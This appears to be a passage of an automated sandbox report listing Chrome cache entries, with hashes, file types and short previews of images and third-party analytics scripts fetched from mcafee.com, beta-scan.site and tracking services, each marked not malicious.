Preview:	....ftypavif....avifmif1miaf....meta.......!hdlr........pict.................pitm.........4iloc....D@.........................................8iinf..........infe........av01.....infe........av01.....iprp....ipco....colrnclx...........av1C........ispe................pixi.........8auxC....urn:mpeg:mpegB:cicp:systems:auxiliary:alpha.....av1C........ispe................pixi............ipma..........................iref........auxl..........mdat.......l.T2.....$P.+.(.......0...RH..j....l...VoQ!.o&..luIDw:7H.iA....M#V../...FM.R.w.f.Mh.9c.]..!....W.Q.+....X_.jG..~:/....c..E....f.........j.C........@S.S.$v.N.\.....aG......D.....'..=.^..<<..T.n.p....@...e..d...u.<.2....2.OH.h..9...6.......r}$k.S..AWs:...9.c.._..S.\..~.w.f......K..(.....}s.n:.Ky...g...F...3.........d^h..).g........a...I..3rLv....Y..o0.."...Z..O...U;.0c@.../.....A...,@......Z.....>r. ....8....k.C.G..;.-...I..;%]...%u.....[...dV....`.......l. !..2..Dx..I$P.G........QO[R.[.g+.7...BQLONe..~;#9.E.+...[2....

Chrome Cache Entry: 399

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1071)
Category:	dropped
Size (bytes):	2150
Entropy (8bit):	5.336783240369511
Encrypted:	false
SSDEEP:	48:xbRQ+8e4nPWNnR6IMI+wB/edm20zQhedmMSoQnW4:xbRCnP4ReIZB/UmoeUJoQnW4
MD5:	3274156216A190B812F8390B2050633B
SHA1:	67F949D85641CC461BE6EF7F5505E40246E92337
SHA-256:	D882561280A17BCCB1ED385843634E5EA6A25A95BA0E8A4E6669A0205B56488E
SHA-512:	9F82478B3AE06039E51C5FEA63C3CC66CC44D0CE9C5E31B2772A8FB3D9E192DFF8918425E12DA1C3F30BF5FE1A082972466912C37F73FB465004DE0BA183F1DE
Malicious:	false
Reputation:	low
Preview:	//tealium universal tag - utag.562 ut4.0.202409111541, Copyright 2024 Tealium.com Inc. All Rights Reserved..try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}.var match=/ut\d\.(\d)\../.exec(utag.cfg.v);if(utag.ut.loader===undefined\|\|!match\|\|parseInt(match[1])<35){u.loader=function(o){var b,c,l,a=document;if(o.type==="iframe"){b=a.createElement("iframe");o.attrs=o.attrs\|\|{"height":"1","width":"1","style":"display:none"};for(l in utag.loader.GV(o.attrs)){b.setAttribute(l,o.attrs[l]);}b.setAttribute("src",o.src);}else if(o.type=="img"){utag.DB("Attach img: "+o.src);b=new Image();b.src=o.src;return;}else{b=a.createElement("script");b.language="javascript";b.type="text/javascript";b.async=1;b.charset="utf-8";for(l in utag.loader.GV(o.attrs)){b[l]=o.attrs[l];}b.src=o.src;}if(o.id){b.id=o.id};if(typeof o.cb=="function"){if(b.addEventListener){b.addEventListener("load",function(){o.cb()},false);}else{b.onreadystatechange=function(){if(th

Chrome Cache Entry: 400

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.4713544870139303
Encrypted:	false
SSDEEP:	3:dRYtyn:Tuyn
MD5:	34C520D87664032692C4315FFF455D18
SHA1:	978C8B03E97680EB62057A7000F6E7FD97FB9658
SHA-256:	C40AA69F0B306CEA296DD1193C334BC0781587ED51AAB579C0433698BA9E0C4B
SHA-512:	BC6ECF7B39E2C5882C693072A7F541A7C03117A28D14067FED6FDAB6BD455FD8E79C6FE9B81FDF327E64814B91ACEE6F9C1A62134C32CF39731477B712466F38
Malicious:	false
Reputation:	low
Preview:	Method Not Allowed.

Chrome Cache Entry: 401

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 30 x 30, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1010
Entropy (8bit):	6.100277091524319
Encrypted:	false
SSDEEP:	24:81hzVWwjx82lY2T3FVXKhQm3uhQmHyJ3VwhQmOohQmgGSyM4f:iJwNn2xVKhz+hzSJ3OhzRhzg2H
MD5:	118F0C5583F13E7F2E42AC3C34D54A4A
SHA1:	ACA14F746B4889DF053494C8FA043F8A4B22A511
SHA-256:	746872277E95C813F0720FB138D445AF664D09B0E9968BB2DFC453A4F30F75DA
SHA-512:	F22764D161E389F378288A5EC387C6A1D8CCC4A282EFFEA879D60D8E98668940858FED54886624BF1D2DD961D1ABE2BF435034A16459DEE0B30D77F17A20619F
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............;0......tEXtSoftware.Adobe ImageReadyq.e<...#iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmpMM:InstanceID="xmp.iid:77692A13EA9211ED9812AD59CB3452BF" xmpMM:DocumentID="xmp.did:77692A14EA9211ED9812AD59CB3452BF"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:77692A11EA9211ED9812AD59CB3452BF" stRef:documentID="xmp.did:77692A12EA9211ED9812AD59CB3452BF"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>"..D...eIDATx.b...?.@.&......Z<j....Z<j....ZL}...r@...t..../g.6.o..jt..S....*.....:...j.C..q.../2.T.. ...g.p..[}..

Chrome Cache Entry: 402

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	1106
Entropy (8bit):	6.818104226562858
Encrypted:	false
SSDEEP:	24:rGDc/jcaeMmU/2V4LYvHZi9ho+03YNgRFfz+75bEpH0IZWiGwhBjYoFOMo:rGo/jyFV4cvHZi4+03YNgRRYyxMiGwh4
MD5:	59FCE9F12C3E00D35652CC9030995247
SHA1:	72552F3C6B5DCABEA344601258414BBF0366705F
SHA-256:	37400938D5D9DB7AB9B8FCF6E75E0DD3ABECD94AE67C0785D8BC9ABE3B070CDF
SHA-512:	C973F5C1D40A24631B371F06676955A81D396210A8E3DC37E66A5BC542146DC908AF088C690CF47ACAA0CF82E67B5DAB4A52C1BE494F59637E9A370CA4902CB8
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/content/dam/ipz/feyncart/image/icons/Improved_drive_performance_icon.png
Preview:	....ftypavif....avifmif1miaf....meta.......!hdlr........pict.................pitm.........4iloc....D@...................N.................H...8iinf..........infe........av01.....infe........av01.....iprp....ipco....colrnclx...........av1C........ispe.......1.......pixi.........8auxC....urn:mpeg:mpegB:cicp:systems:auxiliary:alpha.....av1C........ispe.......1.......pixi............ipma..........................iref........auxl..........mdat......p..@2...@<.@.+.!i.pSk..V..Td...u.c....@..>'.,....g.l...!...Z.r.Der.h.....M.}.=E8...W..V<.=.... ..f..[...`.EK.@..3..H.m@X..n.?n..+.c...Vs.V9D.S..@\|vJ .4_N.F'..K.c..bJ..g;X"...m.B(..Xv.k....Wq..".$C.....:.<...VT2Y.....q..R..$...U...<.$\|H.+O..ZA....2....C.........f<ixJ.`{$.N... .ew."3..{E.+.9......W.`..g.(...O........p......2...@.<....+R..x<&.y..B.4I.........h...T...\.....!..E.w..n.h...0.D(...N..O...]D.......F..:....X..'...e.A2.uN.A<.F.M..v@..m.!.%......zd1W.Y.......}.x+.8jn....{.LY.WU..........?..{0..-.. ..&.....I.4

Chrome Cache Entry: 403

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	4667
Entropy (8bit):	7.842840200349333
Encrypted:	false
SSDEEP:	96:rGghKYo78pnfdSm8PkORPosth3+9k4036eg+LcU2FrpUlzgqKdbqdsu:rG05nom8PvtostdU701pwUlzgqKdO
MD5:	C2E266D2A9F1CB4A59A3D283C3544787
SHA1:	72553715CD2C131718813E3D2BC3848DFC9EF501
SHA-256:	576779FBA465AE3094C2277DECCE441B5F7E5A3274FD886C38B749CA330BB79C
SHA-512:	2F48855E86734C189A201A3AF4E2647E61789A00D463DB0D24C88697167AF322B476B9ED8754FBD9DBE8FD89715774074C204B6CBC329B772176A64C3945DC3D
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/content/dam/ipz/feyncart/image/company-image/MFE-logo-icon-large@2x.png
Preview:	....ftypavif....avifmif1miaf....meta.......!hdlr........pict.................pitm.........4iloc....D@...................#.................\...8iinf..........infe........av01.....infe........av01.....iprp....ipco....colrnclx...........av1C........ispe.......\........pixi.........8auxC....urn:mpeg:mpegB:cicp:systems:auxiliary:alpha.....av1C........ispe.......\........pixi............ipma..........................iref........auxl..........mdat.....&e..@2...P.<P.....~......&.....5.....sl.......6d9}...7.i..)8..6.[.p.rX.\3.S....` ..jP.J)R.J.p.Z.P.z...#..........(..[...6.A...."H..v.....y.D...:....Jc.T..\...s.S..9.i+P.6...S.....r...Wy.v(....D...D...S>......W.1..w.L.=......af.z.....n.... p~-.UFR....f.yV..X.!Z.}T.....u..]M...\|...A?!.a...K...?. H...J(x.B`8..uVA.X> F...x.....}....3..d........b.@.,.%....4...`/.9.P..^.{..Q....D.S..'L.._...e.3....3u...\.4A..CW...I...X.....>..'.v.v....)....../.GYkv.[6.n.TY.T.a....e\|.'`.PpX..H!..6P....~..N..H.r......T@a.....[ND.u.^.Olf...

Chrome Cache Entry: 404

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with very long lines (65103)
Category:	downloaded
Size (bytes):	209939
Entropy (8bit):	5.366006952026174
Encrypted:	false
SSDEEP:	3072:1P6RsHIwj0PdUgdbs8kvdYkODdlm9AZoZXs+eSc:1msHIxHMvd8dtZoZDc
MD5:	FA4C76A7FDE62B18054CF7EB8E946012
SHA1:	B20150066A879D2B78DD3D4908F4ACD148EE66F8
SHA-256:	09EBD7F407439990AAC227E70DA23E1A819E8E30282928E324370805F480BEC4
SHA-512:	D72F5D078675C7ADBF6BFC1980712542A10668AEC9163137A2EC70A5E117F8FFDD0F06A6C4C6636E35C04F2754F33D40C65C59D452AFAA8EA4A382F24F200ABD
Malicious:	false
Reputation:	low
URL:	https://s.go-mpulse.net/boomerang/8L5XG-3GAEA-V5CVZ-LWCZZ-U5ZR7
Preview:	/. Copyright (c) 2011, Yahoo! Inc. All rights reserved.. * Copyright (c) 2011-2012, Log-Normal, Inc. All rights reserved.. * Copyright (c) 2012-2017, SOASTA, Inc. All rights reserved.. * Copyright (c) 2017, Akamai Technologies, Inc. All rights reserved.. * Copyrights licensed under the BSD License. See the accompanying LICENSE.txt file for terms.. /./ Boomerang Version: 1.720.0 b17966bb92f8ac2ddcda4ac1d9c0aaea6d2eda7b */..BOOMR_start=(new Date).getTime();function BOOMR_check_doc_domain(e){if(window){if(!e){if(window.parent===window\|\|!document.getElementById("boomr-if-as"))return;if(window.BOOMR&&BOOMR.boomerang_frame&&BOOMR.window)try{BOOMR.boomerang_frame.document.domain!==BOOMR.window.document.domain&&(BOOMR.boomerang_frame.document.domain=BOOMR.window.document.domain)}catch(t){BOOMR.isCrossOriginError(t)\|\|BOOMR.addError(t,"BOOMR_check_doc_domain.domainFix")}e=document.domain}if(e&&-1!==e.indexOf(".")&&window.parent){try{window.parent.document;return}catch(t){try{document.doma

Chrome Cache Entry: 405

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.4713544870139303
Encrypted:	false
SSDEEP:	3:dRYtyn:Tuyn
MD5:	34C520D87664032692C4315FFF455D18
SHA1:	978C8B03E97680EB62057A7000F6E7FD97FB9658
SHA-256:	C40AA69F0B306CEA296DD1193C334BC0781587ED51AAB579C0433698BA9E0C4B
SHA-512:	BC6ECF7B39E2C5882C693072A7F541A7C03117A28D14067FED6FDAB6BD455FD8E79C6FE9B81FDF327E64814B91ACEE6F9C1A62134C32CF39731477B712466F38
Malicious:	false
Reputation:	low
Preview:	Method Not Allowed.

Chrome Cache Entry: 406

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 30 x 30, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1288
Entropy (8bit):	6.783196235436125
Encrypted:	false
SSDEEP:	24:81hzVWwjx82lY2T3FVWW5LyJ3Vu+bGFnh0Xasr9+vtkNa6vLq2:iJwNn2xQFJ3bknKqsemNHz
MD5:	D4CE6E3F44D5DDCC50F3F1E88107B886
SHA1:	1B1969CFF7E88BCE4B1196551D6A44BEF0EF6DCF
SHA-256:	2D21436C30BE8369ABD4DCBF6B26D1C5D9DB2F039C398D5C8AEBA3DB93D7D7A5
SHA-512:	839B60C3C370C9557A4B5F3082B4588C8BDD558FF7C6AA0D4B99F7097994BCBEC62358B80D3B5A54EA833255745880ECFA19E3FE95A63D7EB370F9DB77589C60
Malicious:	false
Reputation:	low
URL:	https://beta-scan.site/landers/gsb/GSB/files/images/icon_4.png
Preview:	.PNG........IHDR.............;0......tEXtSoftware.Adobe ImageReadyq.e<...#iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmpMM:InstanceID="xmp.iid:6CEE4653EA9211ED97A3D31F16D4FF72" xmpMM:DocumentID="xmp.did:6CEE4654EA9211ED97A3D31F16D4FF72"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6CEE4651EA9211ED97A3D31F16D4FF72" stRef:documentID="xmp.did:6CEE4652EA9211ED97A3D31F16D4FF72"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......{IDATx..=K.A......4.w..b......F...[U.T"h.............%...l.....;.v...Q. g...1.. '..p,.X.<....T.....~.l...

Chrome Cache Entry: 407

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.4713544870139303
Encrypted:	false
SSDEEP:	3:dRYtyn:Tuyn
MD5:	34C520D87664032692C4315FFF455D18
SHA1:	978C8B03E97680EB62057A7000F6E7FD97FB9658
SHA-256:	C40AA69F0B306CEA296DD1193C334BC0781587ED51AAB579C0433698BA9E0C4B
SHA-512:	BC6ECF7B39E2C5882C693072A7F541A7C03117A28D14067FED6FDAB6BD455FD8E79C6FE9B81FDF327E64814B91ACEE6F9C1A62134C32CF39731477B712466F38
Malicious:	false
Reputation:	low
Preview:	Method Not Allowed.

Chrome Cache Entry: 408

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	60
Entropy (8bit):	4.734578988481229
Encrypted:	false
SSDEEP:	3:Wx6G3XWVnCArqvsEtKv1Gib:oXjA2vsdMib
MD5:	54980FC56F16A690CE1D42E5F44E04B7
SHA1:	79086BCF9D695DF740FA453293338F21559E65C7
SHA-256:	89F117A6656B06891DACBC6DF90861FD7B0F30A3EDBF07879CF715386AE2A798
SHA-512:	F7F92854CBD731E5B8CC24267967B174F66B86482041240D071F1B48D9B8F8F054F38E7ECB06D3871156F7C4AEA8925AE589003C5AFCCCE8E865CC675FE3685B
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xNDkSEAmk_byjc3JdwBIFDYOoWz0SEAnmW8-8mPvZIBIFDduoMGASEAmnpTiGTmHpOBIFDZFhlU4=?alt=proto
Preview:	ChUKEw2DqFs9GgQICRgBGgQIZBgCIAEKCQoHDduoMGAaAAoJCgcNkWGVThoA

Chrome Cache Entry: 409

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	43
Entropy (8bit):	4.301508290129998
Encrypted:	false
SSDEEP:	3:m8ZJ570T4X7:m+5X7
MD5:	AD8B6F08655797587CDEC719A94EFE59
SHA1:	182ADF5A140796F81E930649D05654DBF22FD5B7
SHA-256:	77D5FE96DEFD6C8C1E3B0466B4827CF83DC7E5C727A10177E115D25132FA86F6
SHA-512:	519A8EA7CE2ED8661CC72D58BC0C02E721EF8E64608F4D2E26A56A970D43EBBF21BDF579C543EE1DFD667DA8F87467C60111A3E6D246D435A5C2D066AB88EFA3
Malicious:	false
Reputation:	low
Preview:	window['google_noFurtherRedirects'] = true;

Chrome Cache Entry: 410

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 18, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	465
Entropy (8bit):	6.612973156393524
Encrypted:	false
SSDEEP:	12:6v/7ElZIRhN27g8qB7HX3/Nllb/XJcjYw9L16nIGU5wz:ZwN274BDXPdur568A
MD5:	4160AB2DA7084D592B90DC2C3821095F
SHA1:	E90A3AF085D6B5F5792E540CBCFD4146B19E792D
SHA-256:	6C0429D43E58E57344C584E6D6C634BA7C1BFC6273BD3572F72B30CB0C577040
SHA-512:	35F700B89D07AF1BAAFB587D97EED753C971504234A18BCA857F06F43D891248A0E0459DDB078B35CB82CE2E400B136008D243D73FB3CC9ECC95876A4A234F52
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............a.~e....PLTE...@..;..;..<..<..:..8..<..=..=..>..=..<..:..=..=..=..<..<..@..=..:..<..;..<..=..<..=..>..=..>..=..@..>..<..:..=..<..;..>..;..>..=..=.....c...,tRNS..p...` ....@0.`p.. .0.p.....P....@`P._.p.`.#."....orNT..w.....sRGB.........IDAT..MPm.. ...%......V..........q.q....x...j.s..E.QK'.I...6.%s..e.WB..j.(q..E....#...{B...h...6...\|q.ks.....Z..0Q.^lZ#........->.S.l\|...!H..~..........A3`..v...#.K.S....M.Lq/..#...0.......IEND.B`.

Chrome Cache Entry: 411

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 100 x 89, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2453
Entropy (8bit):	7.519555763404333
Encrypted:	false
SSDEEP:	48:KJwNn2xCJ35blnQ9PfVgS0p9HxJStnzZNBxKLT2hVXuOs:Q42yblnQZfVl0prQxKn2XuOs
MD5:	73EE5F5A65419CDAE683E3CE557667C5
SHA1:	C63479FD67F9BCF0FF867E518ED12DBB223929FB
SHA-256:	BEAF85377DDD403E8BEB6772E27EF87608E0DA79D09E3080798C339D9B822135
SHA-512:	CC8FDE9DCA807EACF53EE03B108958C0012C64F302F1F629FA565D8413605CEF52F108FC735281E5983380C11EFB3A01E87B5E3C7D4E44D88E20915D5EA9EF30
Malicious:	false
Reputation:	low
URL:	https://beta-scan.site/landers/gsb/GSB/files/images/atten.png
Preview:	.PNG........IHDR...d...Y........'....tEXtSoftware.Adobe ImageReadyq.e<...#iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmpMM:InstanceID="xmp.iid:E9946724EA9311EDB9BBC2005BFBA92E" xmpMM:DocumentID="xmp.did:E9946725EA9311EDB9BBC2005BFBA92E"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:E9946722EA9311EDB9BBC2005BFBA92E" stRef:documentID="xmp.did:E9946723EA9311EDB9BBC2005BFBA92E"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..vp....IDATx..]il.U.>}...<...p....6./`..c.. ....i).....?j0......1..Q..q.F.KbL#?....S..z>.}F..}3o.{.....O{.....s.

Chrome Cache Entry: 412

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10199
Entropy (8bit):	5.03269648877876
Encrypted:	false
SSDEEP:	192:hMAC/QcoYzYs7B1urq+fQAnhd6JKh2sipvrvyuwgDPGbPnNiOx8pnPuw:hGB1urFfQMcKhUpzKuwgjGbPNio6uw
MD5:	C2676D286EC842CDFC3422388ECEDF8E
SHA1:	252282378A5D4F201E87E2DCCF2A424FAA155B45
SHA-256:	724FCA620906D04B52DD4B6F462F21DFBB6FD22FADC49E29AA14E3FA27ABC725
SHA-512:	152419976800E2DAFB7F2927B1C84947D8342728D608294E4C161055202D4E3552863EC2CC9FA1E1ED9F7DB35C3A4F9C4525E149020CF38E668EC7FD96327827
Malicious:	false
Reputation:	low
Preview:	(function(FS) {. var session = FS.getCurrentSession(), sessionUrl = FS.getCurrentSessionURL();. function retryWithBackoff(condition, callback, maxWait, failureMsg, timeoutCallback) {. var totalTimeExpired = 0;. var wait = 64;. var resultFn = function() {. if (condition()) {. callback();. return;. }. wait = Math.min(wait * 2, 1024);. if (totalTimeExpired > maxWait) {. FS.log('warn', failureMsg);. !!timeoutCallback && timeoutCallback(failureMsg);. return;. }. totalTimeExpired += wait. setTimeout(resultFn, wait);. };. return resultFn;. }. function loadSession(key) {..var lastSession = window['localStorage'].getItem(key);. if (!lastSession) {. lastSession = FS._cookies()[key];. }. return lastSession. }. function saveSession(key, session) {. window['localStorage'].setItem(key, session);. }...window['_dlo_appender'] = 'fullstory';..window['_dlo_telemetryExporter'] = (function(FS) {...

Chrome Cache Entry: 413

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with very long lines (65103)
Category:	downloaded
Size (bytes):	208830
Entropy (8bit):	5.36375421773599
Encrypted:	false
SSDEEP:	3072:n63vLCI7MHSwd6PPtHG+IKJ4KKKT+BseNLZHLGq:EvLGSDG+GKHcsVq
MD5:	F0586F2C8BB45ED80B89D8FA074D4AA6
SHA1:	7BC3B845441CE99AD3BA7317E6B157A55B77072A
SHA-256:	4DAFC5D60A0CDC3B677A4CD543239BEAD37D550F86D89EC5210935BA15872CE1
SHA-512:	C2C5B4EA577C95AEC552F70BF781B1C7FE2DDE9DCBFD79EF1C60D9D40F7683FDDEC3EFC7EF2B3B0D792730A1EC3DDFCF0D2B1CEC452EF8369E59528EC05B4701
Malicious:	false
Reputation:	low
URL:	https://s.go-mpulse.net/boomerang/LXNDQ-3SP7Y-P3JVN-Y4HAH-VQNKC
Preview:	/. Copyright (c) 2011, Yahoo! Inc. All rights reserved.. * Copyright (c) 2011-2012, Log-Normal, Inc. All rights reserved.. * Copyright (c) 2012-2017, SOASTA, Inc. All rights reserved.. * Copyright (c) 2017, Akamai Technologies, Inc. All rights reserved.. * Copyrights licensed under the BSD License. See the accompanying LICENSE.txt file for terms.. /./ Boomerang Version: 1.737.0 2a2100df1b53afe0d7b2fa2b8918deb614f87015 */..BOOMR_start=(new Date).getTime();function BOOMR_check_doc_domain(e){if(window){if(!e){if(window.parent===window\|\|!document.getElementById("boomr-if-as"))return;if(window.BOOMR&&BOOMR.boomerang_frame&&BOOMR.window)try{BOOMR.boomerang_frame.document.domain!==BOOMR.window.document.domain&&(BOOMR.boomerang_frame.document.domain=BOOMR.window.document.domain)}catch(t){BOOMR.isCrossOriginError(t)\|\|BOOMR.addError(t,"BOOMR_check_doc_domain.domainFix")}e=document.domain}if(e&&-1!==e.indexOf(".")&&window.parent){try{window.parent.document;return}catch(t){try{document.doma

Chrome Cache Entry: 414

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:Rn:R
MD5:	7BC0EE636B3B83484FC3B9348863BD22
SHA1:	EBBFFB7D7EA5362A22BFA1BAB0BFDEB1617CD610
SHA-256:	A2C2339691FC48FBD14FB307292DFF3E21222712D9240810742D7DF0C6D74DFB
SHA-512:	4D094B64124366530E7E327B1AD5D06C0FD1CEB96387D6A143E9F561C2F9FF7CA9D68E7C23B8B14AAB5309C202A8DCED9A38D950662A50984D2841577293CD64
Malicious:	false
Reputation:	low
Preview:	//

Chrome Cache Entry: 415

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	364
Entropy (8bit):	7.090252790568819
Encrypted:	false
SSDEEP:	6:vZglDlzW4I9PVLkIEPIbjroHr9/KourjaMxZniN9l+OA9wYje4J9FLj8Hl:mTy4I9mD8rA/Kz66kf+d9wwe4REl
MD5:	71165D311AAD24AF791D5668A9B5B45A
SHA1:	4271C8725B76C6AC8B88DA3F366CE403E7B8BBFA
SHA-256:	CC838ED0584355A2C35DA80B4C60C556228A838388E9EA5483BD8AA8C0549061
SHA-512:	5A737554AE92E3F0F891FA4CEF249859BEB864325556A6EEC169528DC40FC303D8063EA7C6CAAD691FEBDD97C61048632BE71627E811A6B339B023360DE30BBA
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/content/dam/ipz/feyncart/image/icons/icon2.png
Preview:	RIFFd...WEBPVP8X..............ALPH......kk.Gwl.9..N.)..m;..J.s.Xw.ip..1../.M...i..(.6.&.$o.>...............M.....4>>....&......P.............~.u..)^.5.5.T..K..IK....B:s....NM.0S..E.HC..".H.7R.%..z..P.4.;.#.'...2@9.d...@;yc.0~.5.U...f..u.:J..!.\Z$.&..9'..Y@.5I>4.A.cj.....Y/.QK;.].VP8 :...P........>.`.N.%..(.....i..:...".......^... .=...F...

Chrome Cache Entry: 416

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	623
Entropy (8bit):	4.751776313102999
Encrypted:	false
SSDEEP:	12:trwdU/gKuukBAM65UHSAMPHmWSVbndwOhcHFTdywIsfwuq1ktyWFWwdBe9DYCK5:tYU/duukBAMMUHSAMPHm7uOSHNUn8Be+
MD5:	E67E5D3E5D7F6A0CDE7C60A415DB6B8C
SHA1:	38C1BBB16D08ECF0FFAD29E41A1AA0405FA49F8D
SHA-256:	213B2F17990212EB978FD96D26A970F89BFD80CD4B48A5A28390020DF0F6899D
SHA-512:	DE2CD9C909F5FC05A3313FCDBFFDD129B64DCB89DB46DA529630E115C5A225828C2368D6D8DA3158F82BDAF61FF44B576B10EE921A83EF1151C4F3603D9E2AD8
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/content/dam/ipz/feyncart/en-us/icons/icon-tick.svg
Preview:	<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">.<g id="icon R">.<path id="icon-container" fill-rule="evenodd" clip-rule="evenodd" d="M12.9956 22.2072C18.5185 22.2072 22.9956 17.73 22.9956 12.2072C22.9956 6.68431 18.5185 2.20715 12.9956 2.20715C7.47276 2.20715 2.99561 6.68431 2.99561 12.2072C2.99561 17.73 7.47276 22.2072 12.9956 22.2072ZM10.824 14.1067L8.70271 11.9854L7.2885 13.3996L9.40982 15.5209C10.5814 16.6925 12.4809 16.6925 13.6525 15.5209L19.3093 9.86408L17.8951 8.44986L12.2382 14.1067C11.8477 14.4972 11.2146 14.4972 10.824 14.1067Z" fill="#24BC98"/>.</g>.</svg>.

Chrome Cache Entry: 417

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 52, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2096
Entropy (8bit):	7.750616465243228
Encrypted:	false
SSDEEP:	48:CLcm2x3oW+9fPZac43it30Ka9VK0EN/jWIGWuGZ7nt5Z:C2+WkOid0f7vSLWdI1t5Z
MD5:	4D8859675D42E7DB6598C330B73432A6
SHA1:	6619B543E16F67B673B02A35F0E249473695F51B
SHA-256:	1E3B42E6C351F1FDAF7D2C39379DA96BA6BFCDFEF8D1D16EE718A0715544CC57
SHA-512:	6C78F91AE76154E532F23A3BC75E9485AD961C5572637F37706CC8CAAB9F271B580D4516B877EE449AEDF950ACB4D596FE5CCA323CE3CE6B5681AB8ED9C02AD9
Malicious:	false
Reputation:	low
